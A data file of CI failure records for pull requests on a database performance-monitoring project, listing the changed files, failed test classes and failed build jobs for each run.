+{"date":"2026-10-06","head_sha":"9be59f1a956a973199382e71ac3b7073b876bf15","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingPasswordKeyStateTests.cs","Darling/Darling.Tests/PasswordBindingCensusTests.cs","Darling/Darling.Tests/PasswordSealTests.cs","Darling/Darling.Tests/TestData/password-seal-v1-vector.json","Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyState.cs","Darling/PerformanceMonitor.Darling.Storage/PasswordBinding.cs","Darling/PerformanceMonitor.Darling.Storage/PasswordSeal.cs","Darling/PerformanceMonitor.Darling.Storage/ServerConnectionIdentity.cs"],"failed_classes":["Darling.Tests.CollectionLogDrainForensicsStoreTests","Darling.Tests.FleetIdentifierScrubTests","Darling.Tests.SwallowedItemFailureTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (2)"]}
+{"date":"2026-10-06","head_sha":"398056f9681b10ce4bf12a873b07062caf9d696a","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingPasswordKeyFileHardeningTests.cs","Darling/Darling.Tests/DarlingPasswordKeyFileTests.cs","Darling/Darling.Tests/DarlingPasswordKeyFileUnixTests.cs","Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs","Darling/Darling.Tests/PgLogHashKeyTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingFileSecurity.cs","Darling/PerformanceMonitor.Darling.Service/DarlingLogHashKeyFile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingOwnedSecrets.cs","Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyFile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingServiceKeyFile.cs"],"failed_classes":["Darling.Tests.CommentFilterAdoptionTests","Darling.Tests.PayloadDimensionTests","Darling.Tests.PgTargetQueriesTests","Lite.Tests.DarlingReadsTraitGuardTests"],"failed_jobs":["Lite tests (3)","build","Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-10-06","head_sha":"31f07a7e20050bb78173e267a0360496dd605ba3","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs","Darling/Darling.Tests/RegisteredServerSettingDriftTests.cs","Darling/Darling.Tests/SelfManagedStoreRulesStartPinTests.cs","Darling/Darling.Tests/ServerEditCoreTests.cs","Darling/Darling.Tests/ServerEditLiveTests.cs","Darling/Darling.Tests/ServerEditPasswordRuleViewerTests.cs","Darling/Darling.Tests/ServerIdentityLockLiveTests.cs","Darling/Darling.Tests/ServerPasswordFromRequestTests.cs","Darling/Darling.Tests/StoreConfigProviderConnectionMatchTests.cs","Darling/Darling.Tests/StoreServerPasswordRulesLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSecretSource.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.Edit.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/ServerConnectionRule.cs","Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs","Darling/tools/provision-roles.sql"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-10-06","head_sha":"c62b5e8f3123cf73233e87e70c4a7944610eedf9","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs","Darling/Darling.Tests/RegisteredServerSettingDriftTests.cs","Darling/Darling.Tests/SelfManagedStoreRulesStartPinTests.cs","Darling/Darling.Tests/ServerEditCoreTests.cs","Darling/Darling.Tests/ServerEditLiveTests.cs","Darling/Darling.Tests/ServerEditPasswordRuleViewerTests.cs","Darling/Darling.Tests/ServerIdentityLockLiveTests.cs","Darling/Darling.Tests/ServerPasswordFromRequestTests.cs","Darling/Darling.Tests/StoreConfigProviderConnectionMatchTests.cs","Darling/Darling.Tests/StoreServerPasswordRulesLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSecretSource.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.Edit.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/ServerConnectionRule.cs","Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs","Darling/tools/provision-roles.sql"],"failed_classes":["Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-10-06","head_sha":"7d993a7f07e13a999df9556d9e4da5c097585ce2","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeCatalogStatementTextCensusTests.cs","Darling/Darling.Tests/DiagnosticsBundleServiceLogTests.cs","Darling/Darling.Tests/DiagnosticsBundleStatementFilterTests.cs","Darling/Darling.Tests/SensitiveStatementHostFilterTests.cs","Darling/Darling.Tests/StatementColumnCensusTests.cs","Darling/Darling.Tests/StatementFilterAnalysisReadsLiveTests.cs","Darling/Darling.Tests/StatementFilterBlockingReadsLiveTests.cs","Darling/Darling.Tests/StatementFilterCensus.cs","Darling/Darling.Tests/StatementFilterDrillDownWarningsLiveTests.cs","Darling/Darling.Tests/StatementFilterPlanReaderSourceScanTests.cs","Darling/Darling.Tests/StatementFilterPlanReadsLiveTests.cs","Darling/Darling.Tests/StatementFilterQueryReadsLiveTests.cs","Darling/Darling.Tests/StatementFilterWebTests.cs","Darling/Darling.Tests/StoredPlanAnalysisFilterTests.cs","Darling/Darling.Tests/ViewerStoreLoginRawReadLiveTests.cs","Darling/Darling.Tests/WebRouteStatementCensusTests.cs","Darling/Darling.Tests/web-plan-viewer-harness.mjs","Darling/PerformanceMonitor.Darling.Analysis/PgDrillDownCollector.Plans.cs","Darling/PerformanceMonitor.Darling.Service/AlertNotebookEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingFleetSweepEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebDeadlockGraph.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebStatementSweep.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleAliaser.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleServiceLog.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPlanTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoredPlanReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/GcfCallToolFilter.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/GcfOutput.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/IGcfOutputFormat.cs","Darling/PerformanceMonitor.Darling.Service/SlowReadLog.cs","Lite.Tests/StatementFilterDrillDownWarningsTests.cs","Lite.Tests/StoredPlanAnalysisFilterTests.cs","Lite/Analysis/DrillDownCollector.Plans.cs"],"failed_classes":["Darling.Tests.PlanRegressionReadShapeTests","Darling.Tests.StatementFilterBlockingReadsLiveTests","Darling.Tests.TestsNoSilentPassGuardTests"],"failed_jobs":["Darling PG tests (0)","build","Darling PG tests (2)"]}
+{"date":"2026-10-06","head_sha":"8f95de197e0d1d82b2454828d8161e7d5f2ce4e0","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedRolesTests.cs","Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs","Darling/Darling.Tests/PasswordBindingCensusTests.cs","Darling/Darling.Tests/RegisteredServerSettingDriftTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/Darling.Tests/SelfManagedStoreRulesStartPinTests.cs","Darling/Darling.Tests/ServerEditCoreTests.cs","Darling/Darling.Tests/ServerEditLiveTests.cs","Darling/Darling.Tests/ServerEditPasswordRuleViewerTests.cs","Darling/Darling.Tests/ServerIdentityLockLiveTests.cs","Darling/Darling.Tests/ServerPasswordFromRequestTests.cs","Darling/Darling.Tests/StoreConfigProviderConnectionMatchTests.cs","Darling/Darling.Tests/StoreServerPasswordRulesLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSecretSource.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.Edit.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/ServerConnectionRule.cs","Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs","Darling/tools/provision-roles.sql"],"failed_classes":["Darling.Tests.StatementFilterAlertTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-10-06","head_sha":"7fc8b09c96fb66c13665a2a0e28c47060475ea09","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingRuntimePreflightTests.cs","Darling/README.md","Darling/tools/install-darling.ps1","docs/uat-onboarding.md"],"failed_classes":["PerformanceMonitor.Darling.Tests.RetiredBaselineAggregateLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-10-06","head_sha":"2000eb7f3114ebf436f939145a87fa2191012332","event":"pull_request","changed_files":["Lite.Tests/QueryStoreDedupReadTests.cs","Lite.Tests/QueryStoreOldReadSql.cs","Lite.Tests/QueryStoreTextAfterRankingTests.cs","Lite.Tests/TopListTotalOrderPinTests.cs","Lite/Services/LocalDataService.QueryStore.cs","Lite/Services/LocalDataService.QueryStoreRegressions.cs","Lite/Services/LocalDataService.QueryStoreText.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","PerformanceMonitorLite.Tests.DuckDbInitializerDisposalGuardTests"],"failed_jobs":["build","Lite tests (3)"]}
+{"date":"2026-10-06","head_sha":"8c842bbc3f7d574d1a0b2699388dbd253c85ccdb","event":"pull_request","changed_files":["Lite.Tests/QueryStoreDedupReadTests.cs","Lite.Tests/QueryStoreOldReadSql.cs","Lite.Tests/QueryStoreTextAfterRankingTests.cs","Lite.Tests/TopListTotalOrderPinTests.cs","Lite/Services/LocalDataService.QueryStore.cs","Lite/Services/LocalDataService.QueryStoreRegressions.cs","Lite/Services/LocalDataService.QueryStoreText.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","PerformanceMonitorLite.Tests.DuckDbInitializerDisposalGuardTests"],"failed_jobs":["Lite tests (1)","build"]}
+{"date":"2026-10-06","head_sha":"38445f2ebac66381fa45de8a9665ee710848772a","event":"pull_request","changed_files":["Lite.Tests/ArchiveCopyOptionsPinTests.cs","Lite.Tests/ArchiveTieOrderTests.cs","Lite.Tests/MainConnectionLimitsTests.cs","Lite.Tests/QueryStoreSliceRepairTests.cs","Lite/Analysis/DrillDownCollector.Queries.cs","Lite/Analysis/DuckDbFactCollector.QueryPerf.cs","Lite/Database/DuckDbInitializer.cs","Lite/Services/ArchiveService.cs","Lite/Services/DataImportService.cs","Lite/Services/ParquetCompaction.cs","Lite/Services/QueryStoreSliceRepairService.cs"],"failed_classes":["Darling.Tests.CommentFilterAdoptionTests"],"failed_jobs":["build"]}
+{"date":"2026-10-06","head_sha":"358b0e5005a18ba8a1022dd7201f4acd3b6d1e7d","event":"pull_request","changed_files":["Lite.Tests/ArchiveCopyOptionsPinTests.cs","Lite.Tests/ArchiveTieOrderTests.cs","Lite.Tests/MainConnectionLimitsTests.cs","Lite.Tests/QueryStoreSliceRepairTests.cs","Lite/Analysis/DrillDownCollector.Queries.cs","Lite/Analysis/DuckDbFactCollector.QueryPerf.cs","Lite/Database/DuckDbInitializer.cs","Lite/Services/ArchiveService.cs","Lite/Services/DataImportService.cs","Lite/Services/ParquetCompaction.cs","Lite/Services/QueryStoreSliceRepairService.cs"],"failed_classes":["Darling.Tests.CommentFilterAdoptionTests"],"failed_jobs":["build"]}
+{"date":"2026-10-06","head_sha":"b1a5999ded26ecac4045cf86957f8ec1638aa2b6","event":"pull_request","changed_files":["Lite.Tests/CollectionHealthKeyedLookupParityTests.cs","Lite.Tests/CollectionHealthOracleSql.cs","Lite.Tests/CollectionHealthReadBehaviourTests.cs","Lite.Tests/CollectorHealthClassifierTests.cs","Lite.Tests/DataStartBannerProbeFailureTests.cs","Lite.Tests/DataStartBannerQueriesTabTests.cs","Lite.Tests/DataStartBannerSurfaceTests.cs","Lite.Tests/EmptyEnumerationNoteTests.cs","Lite.Tests/RegressedFromProductiveTests.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Database/DuckDbInitializer.cs","Lite/Helpers/MethodProfiler.cs","Lite/Services/LocalDataService.CollectionHealth.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs","Lite/Services/LocalDataService.cs","Lite/Services/ReadPhaseTimer.cs"],"failed_classes":["Darling.Tests.CollectionOutputBesideCostTests"],"failed_jobs":["build"]}
+{"date":"2026-10-06","head_sha":"d9274d2e430aa20a386bcf655816ddb037bcb3f6","event":"pull_request","changed_files":["Lite.Tests/CollectionHealthKeyedLookupParityTests.cs","Lite.Tests/CollectionHealthOracleSql.cs","Lite.Tests/CollectionHealthReadBehaviourTests.cs","Lite.Tests/CollectorHealthClassifierTests.cs","Lite.Tests/DataStartBannerProbeFailureTests.cs","Lite.Tests/DataStartBannerQueriesTabTests.cs","Lite.Tests/DataStartBannerSurfaceTests.cs","Lite.Tests/EmptyEnumerationNoteTests.cs","Lite.Tests/RegressedFromProductiveTests.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Database/DuckDbInitializer.cs","Lite/Helpers/MethodProfiler.cs","Lite/Services/LocalDataService.CollectionHealth.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs","Lite/Services/LocalDataService.cs","Lite/Services/ReadPhaseTimer.cs"],"failed_classes":["Darling.Tests.CollectionOutputBesideCostTests"],"failed_jobs":["build"]}
+{"date":"2026-10-06","head_sha":"bf8c2cb3eee49aac3e8570a59373b0550f71426e","event":"pull_request","changed_files":[".github/workflows/build.yml","Darling/Darling.Tests/DarlingAlertingTests.cs","Darling/Darling.Tests/DarlingCliSealKeyTests.cs","Darling/Darling.Tests/DarlingCliUnusableStoreConnectionTests.cs","Darling/Darling.Tests/DarlingConfigTests.cs","Darling/Darling.Tests/DarlingMcpServerAdminToolsTests.cs","Darling/Darling.Tests/DarlingPasswordKeyRuntimeTests.cs","Darling/Darling.Tests/DarlingPasswordKeyStoreLiveTests.cs","Darling/Darling.Tests/DarlingSecretsDecryptFailureTests.cs","Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs","Darling/Darling.Tests/DarlingWebhookSecretsTests.cs","Darling/Darling.Tests/DiagnosticsBundleSealedTextTests.cs","Darling/Darling.Tests/DiagnosticsBundleWebhookOpenTests.cs","Darling/Darling.Tests/Fixtures/PasswordSeal/linux-self-check-vector.json","Darling/Darling.Tests/GenericWebhookHeadersOriginTests.cs","Darling/Darling.Tests/LegacyPinResolverLiveTests.cs","Darling/Darling.Tests/NotificationRoutesRungTests.cs","Darling/Darling.Tests/OwnedSecretReferenceRefusalTests.cs","Darling/Darling.Tests/PasswordBindingCensusTests.cs","Darling/Darling.Tests/PasswordKeyGrantParityTests.cs","Darling/Darling.Tests/PasswordKeyRungTests.cs","Darling/Darling.Tests/PasswordKeySeamLiveTests.cs","Darling/Darling.Tests/PasswordKeySelfCheckTests.cs","Darling/Darling.Tests/PasswordKeyTablesLiveTests.cs","Darling/Darling.Tests/QueryStatsHourLedgerTests.cs","Darling/Darling.Tests/SealedSecretResolverTests.cs","Darling/Darling.Tests/ServerAddViewerRoleLiveTests.cs","Darling/Darling.Tests/ServerEditCoreTests.cs","Darling/Darling.Tests/ServerEditLiveTests.cs","Darling/Darling.Tests/ServerEditPasswordRuleViewerTests.cs","Darling/Darling.Tests/ServerEditViewerRoleLiveTests.cs","Darling/Darling.Tests/ServerIdentityLockLiveTests.cs","Darling/Darling.Tests/ServerPasswordFromRequestTests.cs","Darling/Darling.Tests/StoreConfigProviderConnectionMatchTests.cs","Darling/Darling.Tests/StoreIsOnThisMachineTests.cs","Darling/Darling.Tests/TestKeyRings.cs","Darling/Darling.Tests/ValidateConfigOldFormatPasswordLiveTests.cs","Darling/Darling.Tests/ViewerControlPlaneStage3bTests.cs","Darling/Darling.Tests/ViewerPasswordKeyTests.cs","Darling/Darling.Tests/ViewerServerManagementTests.cs","Darling/Darling.Tests/ViewerServerSealLiveTests.cs","Darling/Darling.Tests/ViewerSmtpSealTests.cs","Darling/Darling.Tests/ViewerWebhookSealLiveTests.cs","Darling/Darling.Tests/ViewerWebhookSealingTests.cs","Darling/Darling.Tests/WebhookDeliverySnapshotTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliSealKey.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyRuntime.cs","Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeySelfCheck.cs","Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyStore.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSecrets.cs","Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebhookSecrets.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundle.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleRunner.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.Edit.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/PerformanceMonitor.Darling.Service/SecretTextGuard.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PasswordBinding.cs","Darling/PerformanceMonitor.Darling.Storage/PasswordKeyTables.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/ServerConnectionRule.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/AddMultipleServersDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/NotificationRouteEditDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/NotificationRoutesWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml","Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerControlPlaneMigration.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Commands.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Notification.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.NotificationRoutes.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PasswordKey.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKey.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKeyPins.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerMigration.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerSecret.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerSmtpSeal.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerWebhookSealing.cs","Darling/README.md","Darling/compose/docker-compose.yml","Darling/compose/secrets/README.md","Darling/tools/provision-roles.sql","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","Lite.Tests/GenericWebhookHeadersOriginTests.cs","PerformanceMonitor.Notifications/IAlertSettings.cs","PerformanceMonitor.Notifications/NotificationRoute.cs","PerformanceMonitor.Notifications/NotificationRouter.cs","PerformanceMonitor.Notifications/WebhookAlertService.cs"],"failed_classes":["Darling.Tests.CaggGroupIndexDropLiveTests","Darling.Tests.CollectorRunTimeRungLiveTests","Darling.Tests.DarlingMcpServerAdminToolsLivePostgresTests","Darling.Tests.DocCommentHygieneTests","Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)","Darling PG tests (2)","Darling whole-tree guards"]}
+{"date":"2026-10-06","head_sha":"87ee3cc71d3f0f725534d5ad638d030489dfa18d","event":"pull_request","changed_files":[".github/workflows/build.yml","Darling/Darling.Tests/DarlingAlertingTests.cs","Darling/Darling.Tests/DarlingCliSealKeyTests.cs","Darling/Darling.Tests/DarlingCliUnusableStoreConnectionTests.cs","Darling/Darling.Tests/DarlingConfigTests.cs","Darling/Darling.Tests/DarlingMcpServerAdminToolsTests.cs","Darling/Darling.Tests/DarlingPasswordKeyRuntimeTests.cs","Darling/Darling.Tests/DarlingPasswordKeyStoreLiveTests.cs","Darling/Darling.Tests/DarlingSecretsDecryptFailureTests.cs","Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs","Darling/Darling.Tests/DarlingWebhookSecretsTests.cs","Darling/Darling.Tests/DiagnosticsBundleSealedTextTests.cs","Darling/Darling.Tests/DiagnosticsBundleWebhookOpenTests.cs","Darling/Darling.Tests/Fixtures/PasswordSeal/linux-self-check-vector.json","Darling/Darling.Tests/GenericWebhookHeadersOriginTests.cs","Darling/Darling.Tests/LegacyPinResolverLiveTests.cs","Darling/Darling.Tests/NotificationRoutesRungTests.cs","Darling/Darling.Tests/OwnedSecretReferenceRefusalTests.cs","Darling/Darling.Tests/PasswordBindingCensusTests.cs","Darling/Darling.Tests/PasswordKeyGrantParityTests.cs","Darling/Darling.Tests/PasswordKeyRungTests.cs","Darling/Darling.Tests/PasswordKeySeamLiveTests.cs","Darling/Darling.Tests/PasswordKeySelfCheckTests.cs","Darling/Darling.Tests/PasswordKeyTablesLiveTests.cs","Darling/Darling.Tests/QueryStatsHourLedgerTests.cs","Darling/Darling.Tests/SealedSecretResolverTests.cs","Darling/Darling.Tests/ServerAddViewerRoleLiveTests.cs","Darling/Darling.Tests/ServerEditCoreTests.cs","Darling/Darling.Tests/ServerEditLiveTests.cs","Darling/Darling.Tests/ServerEditPasswordRuleViewerTests.cs","Darling/Darling.Tests/ServerEditViewerRoleLiveTests.cs","Darling/Darling.Tests/ServerIdentityLockLiveTests.cs","Darling/Darling.Tests/ServerPasswordFromRequestTests.cs","Darling/Darling.Tests/StoreConfigProviderConnectionMatchTests.cs","Darling/Darling.Tests/StoreIsOnThisMachineTests.cs","Darling/Darling.Tests/TestKeyRings.cs","Darling/Darling.Tests/ValidateConfigOldFormatPasswordLiveTests.cs","Darling/Darling.Tests/ViewerControlPlaneStage3bTests.cs","Darling/Darling.Tests/ViewerPasswordKeyTests.cs","Darling/Darling.Tests/ViewerServerManagementTests.cs","Darling/Darling.Tests/ViewerServerSealLiveTests.cs","Darling/Darling.Tests/ViewerSmtpSealTests.cs","Darling/Darling.Tests/ViewerWebhookSealLiveTests.cs","Darling/Darling.Tests/ViewerWebhookSealingTests.cs","Darling/Darling.Tests/WebhookDeliverySnapshotTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingAlertSettings.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliSealKey.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedRoles.cs","Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyRuntime.cs","Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeySelfCheck.cs","Darling/PerformanceMonitor.Darling.Service/DarlingPasswordKeyStore.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSecrets.cs","Darling/PerformanceMonitor.Darling.Service/DarlingServerConnector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebhookSecrets.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundle.cs","Darling/PerformanceMonitor.Darling.Service/DiagnosticsBundleRunner.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.Edit.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerAdminTools.cs","Darling/PerformanceMonitor.Darling.Service/Program.cs","Darling/PerformanceMonitor.Darling.Service/SecretTextGuard.cs","Darling/PerformanceMonitor.Darling.Service/StoreConfigProvider.cs","Darling/PerformanceMonitor.Darling.Storage/PasswordBinding.cs","Darling/PerformanceMonitor.Darling.Storage/PasswordKeyTables.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs","Darling/PerformanceMonitor.Darling.Storage/ServerConnectionRule.cs","Darling/PerformanceMonitor.Darling.Storage/StorageVersion.cs","Darling/PerformanceMonitor.Darling.Viewer/AddMultipleServersDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/AddServerDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/MainWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/NotificationRouteEditDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/NotificationRoutesWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml","Darling/PerformanceMonitor.Darling.Viewer/PasswordKeyChangedDialog.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/SettingsWindow.xaml.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerControlPlaneMigration.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Commands.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.MonitoredServers.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Notification.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.NotificationRoutes.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.PasswordKey.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKey.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerPasswordKeyPins.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerMigration.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerSecret.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerSmtpSeal.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerWebhookSealing.cs","Darling/README.md","Darling/compose/docker-compose.yml","Darling/compose/secrets/README.md","Darling/tools/provision-roles.sql","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","Lite.Tests/GenericWebhookHeadersOriginTests.cs","PerformanceMonitor.Notifications/IAlertSettings.cs","PerformanceMonitor.Notifications/NotificationRoute.cs","PerformanceMonitor.Notifications/NotificationRouter.cs"],"failed_classes":["Darling.Tests.CaggGroupIndexDropLiveTests","Darling.Tests.CollectorRunTimeRungLiveTests","Darling.Tests.DarlingMcpServerAdminToolsLivePostgresTests","Darling.Tests.DocCommentHygieneTests","Darling.Tests.RepoFileAdoptionTests","Darling.Tests.StatementFilterPlanReadsLiveTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)","Darling PG tests (0)","Darling whole-tree guards"]}
+{"date":"2026-10-06","head_sha":"29d422f582b2502ccc9fab3afb507d6060aa7d31","event":"pull_request","changed_files":[".github/workflows/build.yml"],"failed_classes":["Darling.Tests.TrendPayloadBudgetLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
